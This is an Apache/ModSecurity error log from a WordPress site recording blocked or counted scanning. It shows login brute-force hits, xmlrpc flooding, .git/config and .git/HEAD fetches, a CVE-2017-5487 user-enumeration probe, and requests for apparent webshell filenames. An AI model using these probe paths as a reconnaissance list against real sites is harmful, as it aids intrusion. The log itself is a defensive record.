[Wed May 06 11:06:03.172856 2026] [:error] [pid 9653:tid 9710] [client 170.64.235.196:57755] [client 170.64.235.196] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 170.64.235.196, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "afqwG6hJ49Xc4dqq0B51yQAAAAw"]
[Wed May 06 11:06:04.124815 2026] [:error] [pid 482:tid 509] [client 170.64.235.196:57853] [client 170.64.235.196] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 170.64.235.196, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "afqwHMxs8HOc_nWgOW6-RgAAAdc"]
[Wed May 06 11:06:44.874064 2026] [:error] [pid 482:tid 489] [client 137.184.229.126:52173] [client 137.184.229.126] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 137.184.229.126, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "afqwRMxs8HOc_nWgOW6-iAAAAcU"]
[Wed May 06 11:08:54.164842 2026] [:error] [pid 592:tid 605] [client 198.98.57.91:65073] [client 198.98.57.91] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.98.57.91, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "afqwxpiX28mb6xLi2PyDtAAAAok"]
[Wed May 06 11:09:54.869664 2026] [:error] [pid 9659:tid 9749] [client 198.98.57.91:52819] [client 198.98.57.91] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.98.57.91, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "afqxAvwJnWjd8JHpBttUpAAAAM8"]
[Wed May 06 11:40:35.412687 2026] [:error] [pid 482:tid 504] [client 91.92.243.248:65254] [client 91.92.243.248] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.92.243.248, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "afq4M8xs8HOc_nWgOW7KPwAAAdQ"]
[Wed May 06 11:40:37.397644 2026] [:error] [pid 482:tid 491] [client 91.92.243.248:65388] [client 91.92.243.248] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.92.243.248, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "afq4Ncxs8HOc_nWgOW7KQwAAAcc"]
[Wed May 06 12:04:30.155419 2026] [autoindex:error] [pid 13414:tid 13438] [client 45.132.115.94:39801] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed May 06 12:04:32.489051 2026] [autoindex:error] [pid 9789:tid 9794] [client 45.132.115.25:21163] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/includes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed May 06 12:05:04.465145 2026] [autoindex:error] [pid 63810:tid 63831] [client 172.98.33.40:30795] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/uploads/2020/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed May 06 12:05:05.693223 2026] [autoindex:error] [pid 482:tid 484] [client 172.98.33.40:22337] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/uploads/2021/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed May 06 12:05:06.890621 2026] [autoindex:error] [pid 482:tid 508] [client 172.98.33.37:29737] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/uploads/2022/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed May 06 12:05:08.074594 2026] [autoindex:error] [pid 482:tid 503] [client 172.98.33.38:41475] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/uploads/2023/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed May 06 12:05:09.372778 2026] [autoindex:error] [pid 13443:tid 13450] [client 45.132.115.100:50921] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/uploads/2024/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed May 06 12:05:10.569692 2026] [autoindex:error] [pid 482:tid 500] [client 45.132.115.96:60413] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/uploads/2025/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed May 06 12:05:11.741045 2026] [autoindex:error] [pid 482:tid 495] [client 45.132.115.28:31363] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/uploads/2026/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed May 06 12:35:06.942019 2026] [:error] [pid 482:tid 494] [client 223.185.17.138:31843] [client 223.185.17.138] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 223.185.17.138, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afrE-sxs8HOc_nWgOW7aFAAAAco"]
[Wed May 06 12:35:17.323944 2026] [:error] [pid 63810:tid 63834] [client 223.185.17.138:5897] [client 223.185.17.138] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 223.185.17.138, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afrFBXpnbsN9Zf6i5IEd5gAAAZQ"]
[Wed May 06 12:35:27.819303 2026] [:error] [pid 482:tid 498] [client 223.185.17.138:19872] [client 223.185.17.138] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 223.185.17.138, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afrFD8xs8HOc_nWgOW7aMAAAAc4"]
[Wed May 06 12:35:38.212723 2026] [:error] [pid 9653:tid 9717] [client 223.185.17.138:3396] [client 223.185.17.138] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 223.185.17.138, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afrFGqhJ49Xc4dqq0B6ICQAAABM"]
[Wed May 06 12:35:48.665423 2026] [:error] [pid 9653:tid 9704] [client 223.185.17.138:30059] [client 223.185.17.138] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 223.185.17.138, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afrFJKhJ49Xc4dqq0B6IEAAAAAY"]
[Wed May 06 15:07:00.597826 2026] [:error] [pid 482:tid 498] [client 43.135.36.201:59212] [client 43.135.36.201] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "afrolMxs8HOc_nWgOW4KIwAAAc4"]
[Wed May 06 17:33:21.786302 2026] [:error] [pid 13443:tid 13459] [client 185.198.240.137:37521] [client 185.198.240.137] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/buttons.css"] [unique_id "afsK4QCyfZallDmsQreOXQAAAU4"]
[Wed May 06 19:38:48.236064 2026] [:error] [pid 557:tid 567] [client 124.156.157.91:51252] [client 124.156.157.91] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "afsoSDZjFR8Vd8ce80ArGgAAAkg"]
[Wed May 06 20:15:30.061374 2026] [:error] [pid 9664:tid 9770] [client 170.106.113.235:43748] [client 170.106.113.235] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "afsw4gH4OZbrg1SjsBNB6gAAAIg"]
[Wed May 06 20:38:06.787618 2026] [:error] [pid 9789:tid 9811] [client 175.27.163.171:53978] [client 175.27.163.171] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "afs2Lj_YStPJSCHPkUWOqAAAAFQ"]
[Wed May 06 20:58:31.582432 2026] [:error] [pid 9659:tid 9734] [client 86.105.9.67:36346] [client 86.105.9.67] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "afs69_wJnWjd8JHpBtuS4gAAAMA"], referer: https://www.google.com
[Wed May 06 22:23:24.597993 2026] [:error] [pid 9664:tid 9781] [client 34.178.98.14:36314] [client 34.178.98.14] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.git/config"] [unique_id "aftO3AH4OZbrg1SjsBNSegAAAJM"]
[Wed May 06 23:34:00.130565 2026] [:error] [pid 13414:tid 13423] [client 185.213.175.173:40328] [client 185.213.175.173] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.git/HEAD"] [unique_id "aftfaEuJQpWjVpJTu_kvTwAAAQc"]
[Wed May 06 23:34:00.130961 2026] [:error] [pid 9789:tid 9806] [client 185.213.175.173:40320] [client 185.213.175.173] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.git/config"] [unique_id "aftfaD_YStPJSCHPkUW1TAAAAE8"]
[Wed May 06 23:47:52.497379 2026] [:error] [pid 592:tid 622] [client 137.184.229.126:60540] [client 137.184.229.126] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 137.184.229.126, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aftiqJiX28mb6xLi2Py86gAAApc"]
[Thu May 07 00:04:01.940721 2026] [:error] [pid 9659:tid 9743] [client 137.184.229.126:64276] [client 137.184.229.126] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 137.184.229.126, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aftmcfwJnWjd8JHpBtuonAAAAMk"]
[Thu May 07 00:20:01.463908 2026] [autoindex:error] [pid 9664:tid 9762] [client 168.144.88.199:42352] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: http://rcacivilgroup.com/wp-content/themes/
[Thu May 07 00:20:03.620405 2026] [autoindex:error] [pid 9664:tid 9776] [client 168.144.88.199:42352] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: http://rcacivilgroup.com/wp-content/themes/
[Thu May 07 00:20:06.661250 2026] [autoindex:error] [pid 9664:tid 9764] [client 168.144.88.199:42352] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/plugins/contact-form-7/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: http://rcacivilgroup.com/wp-content/plugins/elementor/
[Thu May 07 00:20:08.826162 2026] [autoindex:error] [pid 9664:tid 9777] [client 168.144.88.199:42352] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/plugins/contact-form-7/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: http://rcacivilgroup.com/wp-content/plugins/elementor/
[Thu May 07 00:20:20.313917 2026] [:error] [pid 9653:tid 9715] [client 137.184.229.126:53467] [client 137.184.229.126] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 137.184.229.126, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aftqRKhJ49Xc4dqq0B5TvwAAABE"]
[Thu May 07 00:24:14.366941 2026] [:error] [pid 9664:tid 9762] [client 91.92.243.248:49620] [client 91.92.243.248] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.92.243.248, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aftrLgH4OZbrg1SjsBNnOAAAAIA"]
[Thu May 07 00:30:42.886753 2026] [:error] [pid 9653:tid 9701] [client 20.104.207.18:27757] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zoper1.php"] [unique_id "aftssqhJ49Xc4dqq0B5YJwAAAAM"]
[Thu May 07 00:30:43.356123 2026] [:error] [pid 482:tid 507] [client 20.104.207.18:27727] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zoper1.php"] [unique_id "aftss8xs8HOc_nWgOW6IaAAAAdU"]
[Thu May 07 00:30:43.780908 2026] [:error] [pid 9789:tid 9795] [client 20.104.207.18:27656] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zoper1.php"] [unique_id "aftssz_YStPJSCHPkUXDCwAAAEQ"]
[Thu May 07 00:30:44.224998 2026] [:error] [pid 63810:tid 63838] [client 20.104.207.18:27773] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zoper1.php"] [unique_id "aftstHpnbsN9Zf6i5IFMRAAAAZg"]
[Thu May 07 00:30:44.657666 2026] [:error] [pid 63810:tid 63831] [client 20.104.207.18:27716] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/index0.php"] [unique_id "aftstHpnbsN9Zf6i5IFMRQAAAZE"]
[Thu May 07 00:30:45.116416 2026] [:error] [pid 63810:tid 63836] [client 20.104.207.18:27745] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/index0.php"] [unique_id "aftstXpnbsN9Zf6i5IFMRgAAAZY"]
[Thu May 07 00:30:45.544182 2026] [:error] [pid 9653:tid 9715] [client 20.104.207.18:27663] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/index0.php"] [unique_id "aftstahJ49Xc4dqq0B5YKQAAABE"]
[Thu May 07 00:30:45.990447 2026] [:error] [pid 9664:tid 9773] [client 20.104.207.18:27754] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/index0.php"] [unique_id "aftstQH4OZbrg1SjsBNolgAAAIs"]
[Thu May 07 00:30:46.455713 2026] [:error] [pid 9659:tid 9736] [client 20.104.207.18:27731] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-kz.php"] [unique_id "aftstvwJnWjd8JHpBtusTgAAAMI"]
[Thu May 07 00:30:46.883162 2026] [:error] [pid 9664:tid 9780] [client 20.104.207.18:27660] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-kz.php"] [unique_id "aftstgH4OZbrg1SjsBNolwAAAJI"]
[Thu May 07 00:30:47.350277 2026] [:error] [pid 9653:tid 9713] [client 20.104.207.18:27737] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-kz.php"] [unique_id "aftst6hJ49Xc4dqq0B5YMAAAAA8"]
[Thu May 07 00:30:47.788300 2026] [:error] [pid 9653:tid 9707] [client 20.104.207.18:27735] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-kz.php"] [unique_id "aftst6hJ49Xc4dqq0B5YMgAAAAk"]
[Thu May 07 00:30:48.215965 2026] [:error] [pid 9653:tid 9700] [client 20.104.207.18:27667] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file6.php"] [unique_id "aftsuKhJ49Xc4dqq0B5YOQAAAAI"]
[Thu May 07 00:30:48.744087 2026] [:error] [pid 9653:tid 9703] [client 20.104.207.18:27774] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file6.php"] [unique_id "aftsuKhJ49Xc4dqq0B5YPgAAAAU"]
[Thu May 07 00:30:49.267657 2026] [:error] [pid 9653:tid 9721] [client 20.104.207.18:27765] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file6.php"] [unique_id "aftsuahJ49Xc4dqq0B5YQQAAABc"]
[Thu May 07 00:30:49.756716 2026] [:error] [pid 592:tid 603] [client 20.104.207.18:27654] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file6.php"] [unique_id "aftsuZiX28mb6xLi2PzBVQAAAoc"]
[Thu May 07 00:30:50.181665 2026] [:error] [pid 9653:tid 9707] [client 20.104.207.18:27762] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zogy1.php"] [unique_id "aftsuqhJ49Xc4dqq0B5YRQAAAAk"]
